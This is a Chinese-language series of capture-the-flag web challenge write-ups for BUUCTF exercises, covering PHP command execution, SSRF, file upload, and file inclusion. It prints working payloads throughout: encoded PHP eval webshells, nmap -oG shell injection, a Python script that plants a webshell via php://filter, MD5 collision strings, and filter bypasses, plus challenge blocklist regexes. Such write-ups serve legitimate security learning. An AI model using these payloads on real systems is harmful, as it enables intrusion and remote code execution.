[極客大挑戰 2019]RCE ME
打開環境,代碼邏輯還是很簡單的
思路是傳參code參數,一般傳參shell然后用蟻劍連接看flag,但是這題做了之后就會發現思路是沒錯但是這題多了一些驗證,這題就是無字符rce,可以考慮用取反,異或繞過,這邊就用取反,按照我們上面說的直接上傳code參數,做完之后會發現確實是可以連接蟻劍,但是無法執行命令,所以我們需要先用phpinfo看一下禁用的內容
看到這個disable_function,php版本是7
可以看到禁用了system,exec等一些執行函數,我們按照上面的方法去寫一個shell去連接蟻劍
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%CD%CC%A2%D6%D6);
進去看根目錄
里面有一個flag文件時空的,readflag點進去看,看到前綴時elf時執行文件
所以我們要執行這個文件,這邊思路就是要繞過上面看到的禁用,也是學到了有可以用蟻劍的插件去繞過disable_function
記住php版本
[De1CTF 2019]SSRF Me
進去環境代碼很亂
整理出來,在pycharm查看
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): os.mkdir(self.sandbox)def Exec(self):result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:tmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param)if (resp == "Connection Timeout"):result['data'] = respelse:print resptmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:f = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign):return Trueelse:return False#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])
def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())
@app.route('/')
def index():return open("code.txt","r").read()def scan(param):socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):return hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0')
這題首先要做的就是代碼審計,題目給了提示,flag在flag.txt文件,但是所謂目錄位置不清楚,具體去看源碼,可以看到有三個路由
其余都是一些自定義函數,我們一個一個看,首先是/geneSign,這個主要用于生成一個簽名。從request.args中獲取param,并用urllib.unquote
?對url編碼的字符進行解碼,將action值賦值成scan,后面調用getSign處理兩個參數,我們轉過去看getSigh這個函數
用hashlib.md5進行加密,按照如圖的順序進行排序之后加密,我們接著找secert_key
可以看到是一個隨機的16位數,接下來看第二個路由,還是先用urllib.unquote解碼,只有會調用waf函數檢驗param,我們轉過去看waf
檢查是否以gopher或file開頭,不區分大小寫去除首尾空格,這邊可以聯想到這倆個協議,最后一個路由就是頁面展示的頁面而已。看執行函數
主要就是檢驗簽名之后返回對應的狀態碼,使用checkSign函數去進行操作,我們轉過來看這個函數,驗證的邏輯是要action要包含scan和read
就是一個利用getSigh函數對比,這個函數上面我們就說過是拼接之后進行MD5加密,這個函數在/geneSign這個路由可以調用,我們可以用這個路由去生成簽名,我們要得到這個拼接的MD5加密的字符串,明確param就是我們要讀取的文件名根據題目提示也就是flag.txt,action的值已經被賦值成scan了,前面16個隨機字符我們不能知道,唯一可以改的就是傳參的param,所以我們要在flag.txt后面加上read這樣拼接之后就可以滿足action既有scan又有read,我們調用/geneSign這個路由去生成這個MD5字符串
之后抓包通過De1ta這個路由去注入
修改cookie值成上面提到的形式即可
[WUSTCTF2020]樸實無華
打開環境看源碼上面也沒有,其他方面也找不到什么,那就用dirsearch掃一下或者用御劍掃
得到一個文件訪問一下
接著訪問
顯然是假的,找一下可以在網絡這邊看到一個文件
訪問
有幾層驗證,傳參的num提取整數部位要小于2020加一值后要大于2021,這個要用到intval的一個繞過,適用于php7以下的版本,可以去搜一下這邊就不多說了,這也是應該新的知識點,第二層就是MD5的一個若比較,這個之前也碰到過的,最后一個比較特殊就是一個簡單的比較然后system執行,我們可以先看一下有ls
看到了類似flag存放的文件,禁用了cat和空格,這些都是簡單的rce
最后是學習intval的相關博客PHP intval()函數詳解,intval()函數漏洞原理及繞過思路_intval函數-CSDN博客
[BUUCTF 2018]Online Tool?
這題也是一種新穎的體型,主要是關于escapeshellarg這個函數的繞過和nmap這個工具的命令使用,具體可以看一下這個
?https://blog.csdn.net/m0_75178803/article/details/134987976
PHP escapeshellarg()+escapeshellcmd() 之殤
這個函數的作用是把字符串轉義成可以在shell命令中執行的參數,通過給字符兩端增加一個單引號并可以任意引用轉義單引號實現,那么我們轉過來看源碼,傳參host參數經過escapeshellarg和escapeshellcmd處理,escapeshellcmd的作用是過濾元字符類似|&;這類的邏輯運算符號大概是這樣的效果之后創建一個沙盒目錄來隔離,最后有一個system執行,執行的操作是nmap掃描,掃描的模式已經設置好了,會把我們上傳的host拼接在最后,這邊要用到的就是nmap的-oG這個功能把文件內容保存到相應的文件內,簡單來說就是要利用escapeshellarg這個函數自動添加單引號這個機制來包含我們要執行的命令,達到命令執行的效果,說起來很難理解
這樣就可以執行curl命令了
?host=' <?php echo `cat /flag`;?> -oG 1.php
最后再訪問這個沙盒下的文件即可
做到后面感覺還是有點一知半解的樣子,總的來說這是一個新接觸的知識點,之后應該側重學習一下。
[GXYCTF2019]BabyUpload
打開環境我們上傳php文件試試看
后綴不能有php那么就是圖片馬
還是不能有關于php的那么我們就只能往mine上面想了,所以我們抓包修改一下mine
抓包之后發現mine值已經是jpg的上傳形式了,這里是卡住了一下,后面想到了可能是對php標簽的禁用,那就改成script
如果單純這樣然后取消抓包那還是錯的,會發現雖然現在回顯是上傳成功,但是沒有執行源碼還是jpg文件,不能達到php執行效果
所以要上傳.htaccess配置文件的,利用這個文件去解析上傳的shell,所以我們上傳這個文件,還是要抓包修改mine?image/jpeg
訪問這個文件
訪問圖片
按理來說到這邊就可以進行命令執行了,但是卻沒有效果
最后我們來理一下思路,這道題目有幾個驗證,后綴不能有ph*,mine類型不能是php的標簽不能是php的,之后由于他是apache系統可以配置.htaccess還要自己配置解析上傳的馬,我看網上的wp也是大同小異,不過不清楚為什么我這個就是執行不出來……
[網鼎杯 2020 朱雀組]Nmap
這題看名字也知道是考nmap相關的知識點,登錄頁面直接搜索一下本地的ip
可以看到是執行了nmap的命令,可能是把輸入的IP和已經寫好的命令進行拼接,然后執行,首先這個命令是什么我們現在還不知道,但是可以確定的是肯定是可以進行命令執行的,所以我們在后面拼接一下其他命令看看能不能一起執行
嘗試了一下,發現類似&|;這樣的邏輯運算符都被\注釋掉了,看一下源碼,可以看到flag的位置
所以還是和上題一樣要用到nmap的命令去查詢flag,那我們還是用-oG這個命令去保存文件內容到對應文件,可是上傳失敗了
?應該是有一些禁用字符,經過嘗試之后發現是禁用了php字樣,所以對于原本的payload,我們要修改php標簽、文件后綴名,最后的payload
127.0.0.1 ; ' <?script @eval($_POST["456"]);?> -oG 456.phtml'
剛剛再源碼中也有看到應該list.php的文件,我們訪問這個文件
?可以看到確實是上傳了,我們訪問一下我們上傳的文件
?發現報錯了,這里就不知道原因了,后面是用了網上的wp的辦法,他用的也是關于nmap的命令參數-iL,這參數的作用是用于從文件讀取掃描目標列表的參數,后面跟一個-o 文件,可以把搜索到的文件內容保存到文件中,之后再訪問這個文件即可
127.0.0.1 ; ' -iL /flag -o 1
雖然回顯說主機停機了,但是我們訪問這個文件1
可以得到flag,這個文件后面要加一個單引號,原因是這個和之前那題一樣也是有關于excapeshellarg()和escapeshellcmd()這兩個函數的處理,這個沒看源碼是怎么知道的我也不清楚,從測試payload我只能知道上面提到的信息
[安洵杯 2019]easy_web
這題算是這集體里面比較有意思的一道題,算是結合了misc和web的一道趣味題
?頁面就是一張圖片,何以見得,看源碼
?后面給了提示是關于MD5的,但是如果相信他就錯了,這明顯是base64轉圖片,但是如果單純按照他的節奏去轉圖片
還是錯的,那么真正的思路是看url欄里面的base64碼,復制過來經過兩層base64解碼之后才能得到一串數字
?這時候可能會想到上面提到的MD5,但是還是錯的首先MD5的字符長度一般是32位,這明顯是一串16進制的字符串
我們轉字符串得到一個圖片名
到這里不是又回去了嗎,不得不說這題的作者是會出的,我們仔細看一下一開始的url的結構,他搜索這張圖片的時候是img=****&cmd=這種結構,****就是這個圖片的圖片名先經過一次十六進制轉換,在經過兩次base64加密,那么這是不是一個文件查詢的通道,我們是不是可以用這個通道去查詢任意文件,我們先查一下index.php(到這里是不是回想可以直接查flag啊,但是組偶到后面就會知道他查詢內容把flag禁用掉了)?果然可以查到,之后進行base64解碼可以得到源碼
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
<html>
<style>body{background:url(./bj.png) no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
接下來就是源碼審計了,主要的部分是這部分
這邊又一個系統命令執行并輸出,這邊又一個MD5強比較,一般遇到這個是用數組,但是這邊用了一個強制轉換string所以用不了,上面還有一個禁用字符 ,都是一些查詢的字符,所以我們又這兩個要繞過,首先是強比較,如果數組繞過用不了的話,搜索后知道可以用這兩個字符串
$a = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
$b = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
其實這個就是基于鴿巢原理的MD5強碰撞而已,后面的字符禁用可以用dir,所以我們只需要post傳參這個然后用dir去查列表就可以,但是這里又有問題了
MD5強比較繞不過去,之后我又去找了一組新的也用不了,我也抓包上傳過也不行?就很奇怪,不過這題的思路就是這樣子了,學到東西就好了。
[FBCTF2019]RCEService?
這題也是一種新的,之前聽說過json但是沒有具體了解過,簡單來說形式是類似ssti的jijia2的一些注入的payload就會運用到json的形式,json采用鍵值對的形式去表達一種對象,這個和php序列化之后的字符串格式也有點像,類似這樣的格式{"id": 1, "name": zlzl"}
json的作用和php序列化的作用差不多,都是為了便于傳輸和儲存,另外json的形式也便于理解
回到題目
題目說讓我們以json的形式輸入命令,那我們先來查一下列表
這邊要用cmd如果用command的話是被禁用的,從源碼中也可以知道這個參數名是cmd
接下來如果接著查根目錄的話是/被禁用了?
這邊也看不到源碼,index.php就是一開始的頁面只能一個一個去把黑名單試出來,一開始我去試了好久,后面越想越覺得不可能,后面去看來wp才知道他應該是提供源碼的
<?phpputenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd'])) {$json = $_REQUEST['cmd'];if (!is_string($json)) {echo 'Hacking attempt detected<br/><br/>';} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';} else {echo 'Attempting to run command:<br/>';$cmd = json_decode($json, true)['cmd'];if ($cmd !== NULL) {system($cmd);} else {echo 'Invalid input';}echo '<br/><br/>';}
}?>
源碼審計,他提供了路徑修改環境變量,所以我們只能用絕對路徑去查,還是要先去查列表,這邊要用到preg_match這個函數的一個漏洞去繞過,這個是因為preg_match只會去匹配第一行的字符,所以這里可以用多行繞過,只需要去添加換行符即可,用url編碼之后就是%0A,加上題目配置的環境變量路徑payload就是
?cmd={%0A"cmd":%20"ls%20/home/rceservice"%0A}
這邊還有一個點就是不能在題目提供的欄里面上傳,直接在url欄里面上傳,因為payload里面有url編碼需要解碼,而在欄里面的是post傳參,接下來是去查flag,但是這邊直接用cat也不行cat這個功能其實本質上也是系統里面的一個文件而已,上面說到了由于配置了環境變量,所以都要用絕對路徑,這個去查一下也知道在哪
{%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}
?[HITCON 2017]SSRFme
這題會給出計算機的ip就沒截圖了,他頁面直接給了源碼出來
<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];}echo $_SERVER["REMOTE_ADDR"];$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);@mkdir($sandbox);@chdir($sandbox);$data = shell_exec("GET " . escapeshellarg($_GET["url"]));$info = pathinfo($_GET["filename"]);$dir = str_replace(".", "", basename($info["dirname"]));@mkdir($dir);@chdir($dir);@file_put_contents(basename($info["basename"]), $data);highlight_file(__FILE__);
源碼審計,這段代碼用到了沙箱目錄,重要的是這個系統命令執行
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
?data參數后面會拼接我們傳參的參數,雖然家里個函數改變,但是還是能夠進行命令執行
$dir = str_replace(".", "", basename($info["dirname"]));
這個算是防止目錄歷遍的代碼,只移除了.號但是我們可以用/去進行目錄歷遍,第一段函數是使用我們的X-Forwarded-For頭獲取我們的ip并輸出出來,我們用get傳參的參數是filename和url,先用這個進行目錄歷遍,沙箱的目錄名稱我們也知道,就是sandbox/orange和ip進行MD5加密的結果,我們先搞一下這個,這邊就不截圖了,之后用/進行目錄歷遍到根目錄,利用沙箱去創建一個文件,之后通過這個代碼
file_put_contents(basename($info["basename"]), $data);
會把命令執行的結果放入文件中,所以我們就可以通過這來進行查詢或者上傳shell
?url=/&filename=123
先創建一個文件123,之后訪問
現在這個目錄其實就是我們創建的文件目錄,可以看到類似flag的文件,為什么是這樣的結果呢,url其實就是執行的bash命令,我們的命令其實就是目錄歷遍而已
我們現在用ssrf為協議去寫馬
url=data://text/plain,<?php eval($_POST[456]);?>&filename=456.php
至于為什么要用為協議,這個協議是用于直接傳遞php代碼的,我們訪問這個文件
可以訪問說明成功了,接著用蟻劍連接后去終端執行readflag即可
[NPUCTF2020]ezinclude
打開頁面看源碼會有提示
但是對應的變量的值也都不知道,這時候重新請求一下去看一下請求頭和響應頭?
給了hash值,我們傳參一個name值,發現hash值是變化的,所以我們可以傳參name值來改變hash,但是按照提示又不止這樣子,secret值我們不知道,我覺得也可以用復制,但是如果我們直接賦值pass參數的值為下面出現的hash值不就可以通過驗證了嗎,抓包修改
?得到一個新的文件,訪問
結果是這樣,看網絡的狀態碼是200說明是可以的,我們接著抓包看信息
可以看到下面有一個文件包含漏洞,我們利用php偽協議 查一下
flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
還是抓包看,可以看到base64編碼
解碼可以看到源碼
<html>
<head>
<script language="javascript" type="text/javascript">window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出題人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
到這里又沒什么思路了,dirsearch掃一下,掃不出來用御劍也掃不出來,看wp別人都掃的出來,反正掃出來結果是dir.php,訪問
沒什么東西還是用php偽協議?
用scandir()讀取tmo目錄并用var_dump以數組形式輸出出來也就是我們剛剛看到的那樣子,到這里又碰到了一個新的東西,在上面的響應可以看到版本是php7.0.33,這個版本可以用php://filter/string.strip_tags導致php崩潰重啟,如果同時上傳一個文件,這個文件 就會留在tmp這個目錄里面
?file=php://filter/string.strip_tags/resource=/etc/passwd
import requests
##BytesIO實現了在內存中讀寫bytes
from io import BytesIO
import re
payload = "<?php eval($_POST[456]);?>"
#BytesIO(payload.encode()).getvalue()
data={'file': BytesIO(payload.encode())
}
url="http://b03a043d-9610-4b96-b5ac-e0163780527d.node5.buuoj.cn:81/?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:r=requests.post(url=url,files=data,allow_redirects=False)
except:print("fail!")
使用腳本之后訪問dir.php
可以看到確實傳進去了 ,文件名也出來了,接著就是蟻劍連接,然后和上面一樣用插件繞過disable_function即可
[WUSTCTF2020]CV Maker
打開一看還挺花的一時間不知道要往哪方面去嘗試,一看題目去搜索感覺也不是漏洞的類型而是這個網站的用途就是用來招聘的。是一個注冊系統那就試試看?
進去之后這邊會有報錯一開始還以為是sql報錯注入?
但是嘗試注入之后發現不是,我們用注冊的賬號登錄進來?
有一個文件上傳,考慮是文件上傳漏洞 ,嘗試上傳php文件
又文件格式的限制,傳一個圖片碼?
?上傳成功,接著就是繼續去找線索,最后在源碼中找到了上傳的路徑
不知道有沒有執行,但是我們可以訪問看看?
可以訪問,我們用蟻劍連接,也連不上,那估計還是沒有執行需要配置文件,但是這邊不論我上傳htaccess還是ini都傳不上去,看來是只能傳圖片類的,后面我嘗試抓包去改,但是發現他只對文件頭有驗證
結果放開抓包之后回去的頁面是沒有上傳成功,我在抓包界面把上傳的地址復制過來訪問也訪問不進去,這就很奇怪了,去看了wp,別人都是在蟻劍訪問就成功了的,真是懷疑蟻劍出問題了。
[HarekazeCTF2019]encode_and_encode
打開看源碼進行代碼審計
代碼看著很多還挺唬人,但其實理解邏輯也不難理解,我們一個一個看?
?這個函數是防止目錄歷遍的禁用了..,之后又禁用了一系列流包裝器,一些類似的為協議都用不了,后面又禁用了flag字符
?讀取的post傳參的內容解析為json格式,所以我們的payload要用接送的格式寫入
?使用上面的定義函數,驗證通過的話根據payload內容讀取文件,最后是一個替換。
理一下思路主要就是兩層繞過,流包裝器和json格式,我們還是用php偽協議去讀取,繞過第一層可以加Unicode或者url編碼,后面再編寫成json格式
php://filter/convert.base64-encode/resource=/flag
\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067
?寫成json格式
{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}
抓包發送post請求
解碼即可
[網鼎杯 2020 半決賽]AliceWebsite?
打開環境找了半天找不到什么思路,也用dirsearch騷了一下 也沒什么東西,原來是給了附件,里面有源碼,審計一下主要就是這段代碼
?有include包含,傳參action參數,一開始想用php為協議讀的但是不知道flag位置一直讀不到
后面也想過去傳后門,畢竟這個有include可以進行命令執行,但是也執行不了,按理來說應該是可以的,知道我嘗試讀index.php這個文件發現也讀不了我就i知道我上當了
我嘗試讀計算機passwd?
本地文件都能讀,那就是目錄層級的問題而已去嘗試,結果flag就在根目錄
給我無語住了,所以做題目要有整體的思維不能一看到一個簡單的代碼就抓著不放
[Zer0pts2020]Can you guess it??
打開環境根據提示我們隨意輸入,發現都是錯的,看了源碼也沒什么東西,上面與一個source,點進去可以看到源碼
代碼審計?
這里說了flag的位置,但是我們不能直接訪問這個文件,$_SERVER['PHP_SELF']這個函數會獲取當前執行攪拌的相對路徑,比如說http://188fa652-b89c-457b-9a21-00c5ec34831a.node5.buuoj.cn:81/index.php?source=123
執行函數之后會得到index.phphttp://188fa652-b89c-457b-9a21-00c5ec34831a.node5.buuoj.cn:81/www/index.php?source=123
執行函數之后則會得到www/index.php
接著往下看
?這邊就是對guess參數的一個加密和驗證,首先guess的值是隨機的64位而且還經過一層加密,我們通過去爆破這個顯然是不科學的,題目明確和我們說了flag的位置,所以我們要用basename函數的這個性質去傳參帶有config.php的參數,所以就要用到這樣一個繞過,首先他匹配驗證是我們訪問的文件的最后一個是不是config.php,所以這邊不能用換行去繞過,因為他最后一個還是這個字符串,要用到%ff這個翻譯過來是url編碼中的不可見字符使用這個可以繞過驗證
index.php/config.php/%ff?source
[b01lers2020]Welcome to Earth?
進入環境看一下源碼可以得到這個頁面
把die刪掉,看源碼可以看到一個文件
訪問這個文件,一訪問就會跳回原界面,所以我們用抓包查看
又發現一個文件,接著訪問?接著訪問shoot
?接著訪問door
有一個js文件,訪問看看?接著訪問open
又有一個js文件,接著訪問?
訪問fight?還是訪問js文件
?終于到頭了,最后是一個解密,flag被打亂了,要寫一個腳本解密,加密邏輯就是通過把flag分成一個數組若干個量,通過下角標打亂而已,其中就是對于key的處理,就是沒學過js代碼可能看起來有點吃力,但是一些還是和php相互類似的,所以一些處理還是比較模糊一點,比如說我要確定key的值是什么,就很難確定,如果給我一個正確的flag,倒是可以逆向推到key值,但是現在顯然沒辦法,我們現在已知的是他的開頭應該是pctf,我想了半天不知道怎么寫這個解密腳本
但其實他這個都是有順序的我們直接去拼倒也可以拼出來,多嘗試幾次就出來了
后面我去網上找了別人的腳本
from itertools import permutationsflag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]item = permutations(flag)
for i in item:k = ''.join(list(i))if k.startswith('pctf{hey_boys') and k[-1] == '}':print(k)
他這個就是按照我們上面說到的已知條件去爆破而已,開頭結尾都是知道的,他把所以可能都給列出來了,然后一個一個去嘗試而已,也沒有說一下得到答案